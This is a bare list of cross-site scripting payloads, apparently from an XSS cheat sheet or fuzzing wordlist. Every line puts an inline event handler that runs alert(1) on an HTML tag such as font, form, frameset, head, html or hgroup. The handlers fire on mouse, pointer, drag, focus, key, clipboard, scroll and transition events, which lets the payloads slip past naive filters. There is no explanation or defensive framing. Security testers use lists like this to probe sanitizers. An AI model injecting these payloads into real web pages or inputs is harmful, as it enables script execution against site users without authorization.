<font onkeyup="alert(1)" contenteditable style=display:block>test</font>
<font onmousedown="alert(1)" style=display:block>test</font>
<font onmouseenter="alert(1)" style=display:block>test</font>
<font onmouseleave="alert(1)" style=display:block>test</font>
<font onmousemove="alert(1)" style=display:block>test</font>
<font onmouseout="alert(1)" style=display:block>test</font>
<font onmouseover="alert(1)" style=display:block>test</font>
<font onmouseup="alert(1)" style=display:block>test</font>
<font onmousewheel=alert(1) style=display:block>requires scrolling
<font onpaste="alert(1)" contenteditable>test</font>
<font onpointerdown=alert(1) style=display:block>XSS</font>
<font onpointerenter=alert(1) style=display:block>XSS</font>
<font onpointerleave=alert(1) style=display:block>XSS</font>
<font onpointermove=alert(1) style=display:block>XSS</font>
<font onpointerout=alert(1) style=display:block>XSS</font>
<font onpointerover=alert(1) style=display:block>XSS</font>
<font onpointerrawupdate=alert(1) style=display:block>XSS</font>
<font onpointerup=alert(1) style=display:block>XSS</font>
<font onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></font>
<footer contenteditable onbeforeinput=alert(1)>test
<footer draggable="true" ondrag="alert(1)" style=display:block>test</footer>
<footer draggable="true" ondragend="alert(1)" style=display:block>test</footer>
<footer draggable="true" ondragenter="alert(1)" style=display:block>test</footer>
<footer draggable="true" ondragleave="alert(1)" style=display:block>test</footer>
<footer draggable="true" ondragstart="alert(1)" style=display:block>test</footer>
<footer id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></footer>
<footer id=x tabindex=1 onfocus=alert(1)></footer>
<footer id=x tabindex=1 onfocusin=alert(1)></footer>
<footer onafterscriptexecute=alert(1)><script>1</script>
<footer onbeforecopy="alert(1)" contenteditable>test</footer>
<footer onbeforecut="alert(1)" contenteditable>test</footer>
<footer onbeforescriptexecute=alert(1)><script>1</script>
<footer onblur=alert(1) id=x tabindex=1 style=display:block>test</footer><input value=clickme>
<footer onclick="alert(1)" style=display:block>test</footer>
<footer oncontextmenu="alert(1)" style=display:block>test</footer>
<footer oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<footer oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<footer ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</footer>
<footer onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</footer><input value=clickme>
<footer onkeydown="alert(1)" contenteditable style=display:block>test</footer>
<footer onkeypress="alert(1)" contenteditable style=display:block>test</footer>
<footer onkeyup="alert(1)" contenteditable style=display:block>test</footer>
<footer onmousedown="alert(1)" style=display:block>test</footer>
<footer onmouseenter="alert(1)" style=display:block>test</footer>
<footer onmouseleave="alert(1)" style=display:block>test</footer>
<footer onmousemove="alert(1)" style=display:block>test</footer>
<footer onmouseout="alert(1)" style=display:block>test</footer>
<footer onmouseover="alert(1)" style=display:block>test</footer>
<footer onmouseup="alert(1)" style=display:block>test</footer>
<footer onmousewheel=alert(1) style=display:block>requires scrolling
<footer onpaste="alert(1)" contenteditable>test</footer>
<footer onpointerdown=alert(1) style=display:block>XSS</footer>
<footer onpointerenter=alert(1) style=display:block>XSS</footer>
<footer onpointerleave=alert(1) style=display:block>XSS</footer>
<footer onpointermove=alert(1) style=display:block>XSS</footer>
<footer onpointerout=alert(1) style=display:block>XSS</footer>
<footer onpointerover=alert(1) style=display:block>XSS</footer>
<footer onpointerrawupdate=alert(1) style=display:block>XSS</footer>
<footer onpointerup=alert(1) style=display:block>XSS</footer>
<footer onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></footer>
<form contenteditable onbeforeinput=alert(1)>test
<form draggable="true" ondrag="alert(1)" style=display:block>test</form>
<form draggable="true" ondragend="alert(1)" style=display:block>test</form>
<form draggable="true" ondragenter="alert(1)" style=display:block>test</form>
<form draggable="true" ondragleave="alert(1)" style=display:block>test</form>
<form draggable="true" ondragstart="alert(1)" style=display:block>test</form>
<form id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></form>
<form id=x tabindex=1 onfocus=alert(1)></form>
<form id=x tabindex=1 onfocusin=alert(1)></form>
<form onafterscriptexecute=alert(1)><script>1</script>
<form onbeforecopy="alert(1)" contenteditable>test</form>
<form onbeforecut="alert(1)" contenteditable>test</form>
<form onbeforescriptexecute=alert(1)><script>1</script>
<form onblur=alert(1) id=x tabindex=1 style=display:block>test</form><input value=clickme>
<form onclick="alert(1)" style=display:block>test</form>
<form oncontextmenu="alert(1)" style=display:block>test</form>
<form oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<form oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<form ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</form>
<form onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</form><input value=clickme>
<form onkeydown="alert(1)" contenteditable style=display:block>test</form>
<form onkeypress="alert(1)" contenteditable style=display:block>test</form>
<form onkeyup="alert(1)" contenteditable style=display:block>test</form>
<form onmousedown="alert(1)" style=display:block>test</form>
<form onmouseenter="alert(1)" style=display:block>test</form>
<form onmouseleave="alert(1)" style=display:block>test</form>
<form onmousemove="alert(1)" style=display:block>test</form>
<form onmouseout="alert(1)" style=display:block>test</form>
<form onmouseover="alert(1)" style=display:block>test</form>
<form onmouseup="alert(1)" style=display:block>test</form>
<form onmousewheel=alert(1) style=display:block>requires scrolling
<form onpaste="alert(1)" contenteditable>test</form>
<form onpointerdown=alert(1) style=display:block>XSS</form>
<form onpointerenter=alert(1) style=display:block>XSS</form>
<form onpointerleave=alert(1) style=display:block>XSS</form>
<form onpointermove=alert(1) style=display:block>XSS</form>
<form onpointerout=alert(1) style=display:block>XSS</form>
<form onpointerover=alert(1) style=display:block>XSS</form>
<form onpointerrawupdate=alert(1) style=display:block>XSS</form>
<form onpointerup=alert(1) style=display:block>XSS</form>
<form onreset=alert(1)><input type=reset>
<form onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></form>
<form onsubmit=alert(1)><input type=submit>
<form><input oninvalid=alert(1) required><input type=submit>
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
<form><textarea oninvalid=alert(1) required><input type=submit>
<frame contenteditable onbeforeinput=alert(1)>test
<frame draggable="true" ondrag="alert(1)" style=display:block>test</frame>
<frame draggable="true" ondragend="alert(1)" style=display:block>test</frame>
<frame draggable="true" ondragenter="alert(1)" style=display:block>test</frame>
<frame draggable="true" ondragleave="alert(1)" style=display:block>test</frame>
<frame draggable="true" ondragstart="alert(1)" style=display:block>test</frame>
<frame id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></frame>
<frame onafterscriptexecute=alert(1)><script>1</script>
<frame onbeforecopy="alert(1)" contenteditable>test</frame>
<frame onbeforecut="alert(1)" contenteditable>test</frame>
<frame onbeforescriptexecute=alert(1)><script>1</script>
<frame onblur=alert(1) id=x tabindex=1 style=display:block>test</frame><input value=clickme>
<frame onclick="alert(1)" style=display:block>test</frame>
<frame oncontextmenu="alert(1)" style=display:block>test</frame>
<frame oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<frame oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<frame ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</frame>
<frame onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</frame><input value=clickme>
<frame onkeydown="alert(1)" contenteditable style=display:block>test</frame>
<frame onkeypress="alert(1)" contenteditable style=display:block>test</frame>
<frame onkeyup="alert(1)" contenteditable style=display:block>test</frame>
<frame onmousedown="alert(1)" style=display:block>test</frame>
<frame onmouseenter="alert(1)" style=display:block>test</frame>
<frame onmouseleave="alert(1)" style=display:block>test</frame>
<frame onmousemove="alert(1)" style=display:block>test</frame>
<frame onmouseout="alert(1)" style=display:block>test</frame>
<frame onmouseover="alert(1)" style=display:block>test</frame>
<frame onmouseup="alert(1)" style=display:block>test</frame>
<frame onmousewheel=alert(1) style=display:block>requires scrolling
<frame onpaste="alert(1)" contenteditable>test</frame>
<frame onpointerdown=alert(1) style=display:block>XSS</frame>
<frame onpointerenter=alert(1) style=display:block>XSS</frame>
<frame onpointerleave=alert(1) style=display:block>XSS</frame>
<frame onpointermove=alert(1) style=display:block>XSS</frame>
<frame onpointerout=alert(1) style=display:block>XSS</frame>
<frame onpointerover=alert(1) style=display:block>XSS</frame>
<frame onpointerrawupdate=alert(1) style=display:block>XSS</frame>
<frame onpointerup=alert(1) style=display:block>XSS</frame>
<frame onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></frame>
<frameset contenteditable onbeforeinput=alert(1)>test
<frameset draggable="true" ondrag="alert(1)" style=display:block>test</frameset>
<frameset draggable="true" ondragend="alert(1)" style=display:block>test</frameset>
<frameset draggable="true" ondragenter="alert(1)" style=display:block>test</frameset>
<frameset draggable="true" ondragleave="alert(1)" style=display:block>test</frameset>
<frameset draggable="true" ondragstart="alert(1)" style=display:block>test</frameset>
<frameset id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></frameset>
<frameset id=x tabindex=1 onfocus=alert(1)></frameset>
<frameset id=x tabindex=1 onfocusin=alert(1)></frameset>
<frameset onafterscriptexecute=alert(1)><script>1</script>
<frameset onbeforecopy="alert(1)" contenteditable>test</frameset>
<frameset onbeforecut="alert(1)" contenteditable>test</frameset>
<frameset onbeforescriptexecute=alert(1)><script>1</script>
<frameset onblur=alert(1) id=x tabindex=1 style=display:block>test</frameset><input value=clickme>
<frameset onclick="alert(1)" style=display:block>test</frameset>
<frameset oncontextmenu="alert(1)" style=display:block>test</frameset>
<frameset oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<frameset oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<frameset ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</frameset>
<frameset onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</frameset><input value=clickme>
<frameset onkeydown="alert(1)" contenteditable style=display:block>test</frameset>
<frameset onkeypress="alert(1)" contenteditable style=display:block>test</frameset>
<frameset onkeyup="alert(1)" contenteditable style=display:block>test</frameset>
<frameset onmousedown="alert(1)" style=display:block>test</frameset>
<frameset onmouseenter="alert(1)" style=display:block>test</frameset>
<frameset onmouseleave="alert(1)" style=display:block>test</frameset>
<frameset onmousemove="alert(1)" style=display:block>test</frameset>
<frameset onmouseout="alert(1)" style=display:block>test</frameset>
<frameset onmouseover="alert(1)" style=display:block>test</frameset>
<frameset onmouseup="alert(1)" style=display:block>test</frameset>
<frameset onmousewheel=alert(1) style=display:block>requires scrolling
<frameset onpageshow=alert(1)>
<frameset onpaste="alert(1)" contenteditable>test</frameset>
<frameset onpointerdown=alert(1) style=display:block>XSS</frameset>
<frameset onpointerenter=alert(1) style=display:block>XSS</frameset>
<frameset onpointerleave=alert(1) style=display:block>XSS</frameset>
<frameset onpointermove=alert(1) style=display:block>XSS</frameset>
<frameset onpointerout=alert(1) style=display:block>XSS</frameset>
<frameset onpointerover=alert(1) style=display:block>XSS</frameset>
<frameset onpointerrawupdate=alert(1) style=display:block>XSS</frameset>
<frameset onpointerup=alert(1) style=display:block>XSS</frameset>
<frameset onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></frameset>
<frameset><frame id=x onfocus=alert(1)>
<frameset><frame id=x onfocusin=alert(1)>
<frameset><frame onload=alert(1)>
<h1 contenteditable onbeforeinput=alert(1)>test
<h1 draggable="true" ondrag="alert(1)" style=display:block>test</h1>
<h1 draggable="true" ondragend="alert(1)" style=display:block>test</h1>
<h1 draggable="true" ondragenter="alert(1)" style=display:block>test</h1>
<h1 draggable="true" ondragleave="alert(1)" style=display:block>test</h1>
<h1 draggable="true" ondragstart="alert(1)" style=display:block>test</h1>
<h1 id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></h1>
<h1 id=x tabindex=1 onfocus=alert(1)></h1>
<h1 id=x tabindex=1 onfocusin=alert(1)></h1>
<h1 onafterscriptexecute=alert(1)><script>1</script>
<h1 onbeforecopy="alert(1)" contenteditable>test</h1>
<h1 onbeforecut="alert(1)" contenteditable>test</h1>
<h1 onbeforescriptexecute=alert(1)><script>1</script>
<h1 onblur=alert(1) id=x tabindex=1 style=display:block>test</h1><input value=clickme>
<h1 onclick="alert(1)" style=display:block>test</h1>
<h1 oncontextmenu="alert(1)" style=display:block>test</h1>
<h1 oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<h1 oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<h1 ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</h1>
<h1 onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</h1><input value=clickme>
<h1 onkeydown="alert(1)" contenteditable style=display:block>test</h1>
<h1 onkeypress="alert(1)" contenteditable style=display:block>test</h1>
<h1 onkeyup="alert(1)" contenteditable style=display:block>test</h1>
<h1 onmousedown="alert(1)" style=display:block>test</h1>
<h1 onmouseenter="alert(1)" style=display:block>test</h1>
<h1 onmouseleave="alert(1)" style=display:block>test</h1>
<h1 onmousemove="alert(1)" style=display:block>test</h1>
<h1 onmouseout="alert(1)" style=display:block>test</h1>
<h1 onmouseover="alert(1)" style=display:block>test</h1>
<h1 onmouseup="alert(1)" style=display:block>test</h1>
<h1 onmousewheel=alert(1) style=display:block>requires scrolling
<h1 onpaste="alert(1)" contenteditable>test</h1>
<h1 onpointerdown=alert(1) style=display:block>XSS</h1>
<h1 onpointerenter=alert(1) style=display:block>XSS</h1>
<h1 onpointerleave=alert(1) style=display:block>XSS</h1>
<h1 onpointermove=alert(1) style=display:block>XSS</h1>
<h1 onpointerout=alert(1) style=display:block>XSS</h1>
<h1 onpointerover=alert(1) style=display:block>XSS</h1>
<h1 onpointerrawupdate=alert(1) style=display:block>XSS</h1>
<h1 onpointerup=alert(1) style=display:block>XSS</h1>
<h1 onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></h1>
<head contenteditable onbeforeinput=alert(1)>test
<head draggable="true" ondrag="alert(1)" style=display:block>test</head>
<head draggable="true" ondragend="alert(1)" style=display:block>test</head>
<head draggable="true" ondragenter="alert(1)" style=display:block>test</head>
<head draggable="true" ondragleave="alert(1)" style=display:block>test</head>
<head draggable="true" ondragstart="alert(1)" style=display:block>test</head>
<head id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></head>
<head id=x tabindex=1 onfocus=alert(1) style=display:block></head>
<head id=x tabindex=1 onfocusin=alert(1) style=display:block></head>
<head onafterscriptexecute=alert(1)><script>1</script>
<head onbeforecopy="alert(1)" contenteditable style=display:block>test</head>
<head onbeforecut="alert(1)" contenteditable style=display:block>test</head>
<head onbeforescriptexecute=alert(1)><script>1</script>
<head onblur=alert(1) id=x tabindex=1 style=display:block>test</head><input value=clickme>
<head onclick="alert(1)" style=display:block>test</head>
<head oncontextmenu="alert(1)" style=display:block>test</head>
<head oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<head oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<head ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</head>
<head onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</head><input value=clickme>
<head onkeydown="alert(1)" contenteditable style=display:block>test</head>
<head onkeypress="alert(1)" contenteditable style=display:block>test</head>
<head onkeyup="alert(1)" contenteditable style=display:block>test</head>
<head onmousedown="alert(1)" style=display:block>test</head>
<head onmouseenter="alert(1)" style=display:block>test</head>
<head onmouseleave="alert(1)" style=display:block>test</head>
<head onmousemove="alert(1)" style=display:block>test</head>
<head onmouseout="alert(1)" style=display:block>test</head>
<head onmouseover="alert(1)" style=display:block>test</head>
<head onmouseup="alert(1)" style=display:block>test</head>
<head onmousewheel=alert(1) style=display:block>requires scrolling
<head onpaste="alert(1)" contenteditable style=display:block>test</head>
<head onpointerdown=alert(1) style=display:block>XSS</head>
<head onpointerenter=alert(1) style=display:block>XSS</head>
<head onpointerleave=alert(1) style=display:block>XSS</head>
<head onpointermove=alert(1) style=display:block>XSS</head>
<head onpointerout=alert(1) style=display:block>XSS</head>
<head onpointerover=alert(1) style=display:block>XSS</head>
<head onpointerrawupdate=alert(1) style=display:block>XSS</head>
<head onpointerup=alert(1) style=display:block>XSS</head>
<head onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></head>
<header contenteditable onbeforeinput=alert(1)>test
<header draggable="true" ondrag="alert(1)" style=display:block>test</header>
<header draggable="true" ondragend="alert(1)" style=display:block>test</header>
<header draggable="true" ondragenter="alert(1)" style=display:block>test</header>
<header draggable="true" ondragleave="alert(1)" style=display:block>test</header>
<header draggable="true" ondragstart="alert(1)" style=display:block>test</header>
<header id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></header>
<header id=x tabindex=1 onfocus=alert(1)></header>
<header id=x tabindex=1 onfocusin=alert(1)></header>
<header onafterscriptexecute=alert(1)><script>1</script>
<header onbeforecopy="alert(1)" contenteditable>test</header>
<header onbeforecut="alert(1)" contenteditable>test</header>
<header onbeforescriptexecute=alert(1)><script>1</script>
<header onblur=alert(1) id=x tabindex=1 style=display:block>test</header><input value=clickme>
<header onclick="alert(1)" style=display:block>test</header>
<header oncontextmenu="alert(1)" style=display:block>test</header>
<header oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<header oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<header ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</header>
<header onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</header><input value=clickme>
<header onkeydown="alert(1)" contenteditable style=display:block>test</header>
<header onkeypress="alert(1)" contenteditable style=display:block>test</header>
<header onkeyup="alert(1)" contenteditable style=display:block>test</header>
<header onmousedown="alert(1)" style=display:block>test</header>
<header onmouseenter="alert(1)" style=display:block>test</header>
<header onmouseleave="alert(1)" style=display:block>test</header>
<header onmousemove="alert(1)" style=display:block>test</header>
<header onmouseout="alert(1)" style=display:block>test</header>
<header onmouseover="alert(1)" style=display:block>test</header>
<header onmouseup="alert(1)" style=display:block>test</header>
<header onmousewheel=alert(1) style=display:block>requires scrolling
<header onpaste="alert(1)" contenteditable>test</header>
<header onpointerdown=alert(1) style=display:block>XSS</header>
<header onpointerenter=alert(1) style=display:block>XSS</header>
<header onpointerleave=alert(1) style=display:block>XSS</header>
<header onpointermove=alert(1) style=display:block>XSS</header>
<header onpointerout=alert(1) style=display:block>XSS</header>
<header onpointerover=alert(1) style=display:block>XSS</header>
<header onpointerrawupdate=alert(1) style=display:block>XSS</header>
<header onpointerup=alert(1) style=display:block>XSS</header>
<header onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></header>
<hgroup contenteditable onbeforeinput=alert(1)>test
<hgroup draggable="true" ondrag="alert(1)" style=display:block>test</hgroup>
<hgroup draggable="true" ondragend="alert(1)" style=display:block>test</hgroup>
<hgroup draggable="true" ondragenter="alert(1)" style=display:block>test</hgroup>
<hgroup draggable="true" ondragleave="alert(1)" style=display:block>test</hgroup>
<hgroup draggable="true" ondragstart="alert(1)" style=display:block>test</hgroup>
<hgroup id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></hgroup>
<hgroup id=x tabindex=1 onfocus=alert(1)></hgroup>
<hgroup id=x tabindex=1 onfocusin=alert(1)></hgroup>
<hgroup onafterscriptexecute=alert(1)><script>1</script>
<hgroup onbeforecopy="alert(1)" contenteditable>test</hgroup>
<hgroup onbeforecut="alert(1)" contenteditable>test</hgroup>
<hgroup onbeforescriptexecute=alert(1)><script>1</script>
<hgroup onblur=alert(1) id=x tabindex=1 style=display:block>test</hgroup><input value=clickme>
<hgroup onclick="alert(1)" style=display:block>test</hgroup>
<hgroup oncontextmenu="alert(1)" style=display:block>test</hgroup>
<hgroup oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<hgroup oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<hgroup ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</hgroup>
<hgroup onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</hgroup><input value=clickme>
<hgroup onkeydown="alert(1)" contenteditable style=display:block>test</hgroup>
<hgroup onkeypress="alert(1)" contenteditable style=display:block>test</hgroup>
<hgroup onkeyup="alert(1)" contenteditable style=display:block>test</hgroup>
<hgroup onmousedown="alert(1)" style=display:block>test</hgroup>
<hgroup onmouseenter="alert(1)" style=display:block>test</hgroup>
<hgroup onmouseleave="alert(1)" style=display:block>test</hgroup>
<hgroup onmousemove="alert(1)" style=display:block>test</hgroup>
<hgroup onmouseout="alert(1)" style=display:block>test</hgroup>
<hgroup onmouseover="alert(1)" style=display:block>test</hgroup>
<hgroup onmouseup="alert(1)" style=display:block>test</hgroup>
<hgroup onmousewheel=alert(1) style=display:block>requires scrolling
<hgroup onpaste="alert(1)" contenteditable>test</hgroup>
<hgroup onpointerdown=alert(1) style=display:block>XSS</hgroup>
<hgroup onpointerenter=alert(1) style=display:block>XSS</hgroup>
<hgroup onpointerleave=alert(1) style=display:block>XSS</hgroup>
<hgroup onpointermove=alert(1) style=display:block>XSS</hgroup>
<hgroup onpointerout=alert(1) style=display:block>XSS</hgroup>
<hgroup onpointerover=alert(1) style=display:block>XSS</hgroup>
<hgroup onpointerrawupdate=alert(1) style=display:block>XSS</hgroup>
<hgroup onpointerup=alert(1) style=display:block>XSS</hgroup>
<hgroup onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></hgroup>
<hr contenteditable onbeforeinput=alert(1)>test
<hr draggable="true" ondrag="alert(1)" style=display:block>test</hr>
<hr draggable="true" ondragend="alert(1)" style=display:block>test</hr>
<hr draggable="true" ondragenter="alert(1)" style=display:block>test</hr>
<hr draggable="true" ondragleave="alert(1)" style=display:block>test</hr>
<hr draggable="true" ondragstart="alert(1)" style=display:block>test</hr>
<hr id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></hr>
<hr id=x tabindex=1 onfocus=alert(1)></hr>
<hr id=x tabindex=1 onfocusin=alert(1)></hr>
<hr onafterscriptexecute=alert(1)><script>1</script>
<hr onbeforecopy="alert(1)" contenteditable>test</hr>
<hr onbeforecut="alert(1)" contenteditable>test</hr>
<hr onbeforescriptexecute=alert(1)><script>1</script>
<hr onblur=alert(1) id=x tabindex=1 style=display:block>test</hr><input value=clickme>
<hr onclick="alert(1)" style=display:block>test</hr>
<hr oncontextmenu="alert(1)" style=display:block>test</hr>
<hr oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<hr oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<hr ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</hr>
<hr onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</hr><input value=clickme>
<hr onkeydown="alert(1)" contenteditable style=display:block>test</hr>
<hr onkeypress="alert(1)" contenteditable style=display:block>test</hr>
<hr onkeyup="alert(1)" contenteditable style=display:block>test</hr>
<hr onmousedown="alert(1)" style=display:block>test</hr>
<hr onmouseenter="alert(1)" style=display:block>test</hr>
<hr onmouseleave="alert(1)" style=display:block>test</hr>
<hr onmousemove="alert(1)" style=display:block>test</hr>
<hr onmouseout="alert(1)" style=display:block>test</hr>
<hr onmouseover="alert(1)" style=display:block>test</hr>
<hr onmouseup="alert(1)" style=display:block>test</hr>
<hr onmousewheel=alert(1) style=display:block>requires scrolling
<hr onpaste="alert(1)" contenteditable>test</hr>
<hr onpointerdown=alert(1) style=display:block>XSS</hr>
<hr onpointerenter=alert(1) style=display:block>XSS</hr>
<hr onpointerleave=alert(1) style=display:block>XSS</hr>
<hr onpointermove=alert(1) style=display:block>XSS</hr>
<hr onpointerout=alert(1) style=display:block>XSS</hr>
<hr onpointerover=alert(1) style=display:block>XSS</hr>
<hr onpointerrawupdate=alert(1) style=display:block>XSS</hr>
<hr onpointerup=alert(1) style=display:block>XSS</hr>
<hr onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></hr>
<html contenteditable onbeforeinput=alert(1)>test
<html draggable="true" ondrag="alert(1)" style=display:block>test</html>
<html draggable="true" ondragend="alert(1)" style=display:block>test</html>
<html draggable="true" ondragenter="alert(1)" style=display:block>test</html>
<html draggable="true" ondragleave="alert(1)" style=display:block>test</html>
<html draggable="true" ondragstart="alert(1)" style=display:block>test</html>
<html id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></html>
<html id=x tabindex=1 onfocus=alert(1)></html>
<html id=x tabindex=1 onfocusin=alert(1)></html>
<html onafterscriptexecute=alert(1)><script>1</script>
<html onbeforecopy="alert(1)" contenteditable>test</html>
<html onbeforecut="alert(1)" contenteditable>test</html>
<html onbeforescriptexecute=alert(1)><script>1</script>
<html onblur=alert(1) id=x tabindex=1 style=display:block>test</html><input value=clickme>
<html onclick="alert(1)" style=display:block>test</html>
<html oncontextmenu="alert(1)" style=display:block>test</html>
<html oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<html oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<html ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</html>
<html onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</html><input value=clickme>
<html onkeydown="alert(1)" contenteditable style=display:block>test</html>
<html onkeypress="alert(1)" contenteditable style=display:block>test</html>
<html onkeyup="alert(1)" contenteditable style=display:block>test</html>
<html onmousedown="alert(1)" style=display:block>test</html>
<html onmouseenter="alert(1)" style=display:block>test</html>
<html onmouseleave="alert(1)" style=display:block>test</html>
<html onmousemove="alert(1)" style=display:block>test</html>
<html onmouseout="alert(1)" style=display:block>test</html>
<html onmouseover="alert(1)" style=display:block>test</html>
<html onmouseup="alert(1)" style=display:block>test</html>
<html onmousewheel=alert(1) style=display:block>requires scrolling
<html onpaste="alert(1)" contenteditable>test</html>
<html onpointerdown=alert(1) style=display:block>XSS</html>
<html onpointerenter=alert(1) style=display:block>XSS</html>
<html onpointerleave=alert(1) style=display:block>XSS</html>
<html onpointermove=alert(1) style=display:block>XSS</html>
<html onpointerout=alert(1) style=display:block>XSS</html>
<html onpointerover=alert(1) style=display:block>XSS</html>
<html onpointerrawupdate=alert(1) style=display:block>XSS</html>
<html onpointerup=alert(1) style=display:block>XSS</html>
<html onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></html>
<i contenteditable onbeforeinput=alert(1)>test
<i draggable="true" ondrag="alert(1)" style=display:block>test</i>
<i draggable="true" ondragend="alert(1)" style=display:block>test</i>
<i draggable="true" ondragenter="alert(1)" style=display:block>test</i>
<i draggable="true" ondragleave="alert(1)" style=display:block>test</i>
<i draggable="true" ondragstart="alert(1)" style=display:block>test</i>
<i id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></i>
<i id=x tabindex=1 onfocus=alert(1)></i>
<i id=x tabindex=1 onfocusin=alert(1)></i>
<i onafterscriptexecute=alert(1)><script>1</script>
<i onbeforecopy="alert(1)" contenteditable>test</i>
<i onbeforecut="alert(1)" contenteditable>test</i>
<i onbeforescriptexecute=alert(1)><script>1</script>
<i onblur=alert(1) id=x tabindex=1 style=display:block>test</i><input value=clickme>
<i onclick="alert(1)" style=display:block>test</i>
<i oncontextmenu="alert(1)" style=display:block>test</i>
<i oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<i oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<i ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</i>
<i onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</i><input value=clickme>
<i onkeydown="alert(1)" contenteditable style=display:block>test</i>
<i onkeypress="alert(1)" contenteditable style=display:block>test</i>
<i onkeyup="alert(1)" contenteditable style=display:block>test</i>
<i onmousedown="alert(1)" style=display:block>test</i>
<i onmouseenter="alert(1)" style=display:block>test</i>
<i onmouseleave="alert(1)" style=display:block>test</i>
<i onmousemove="alert(1)" style=display:block>test</i>
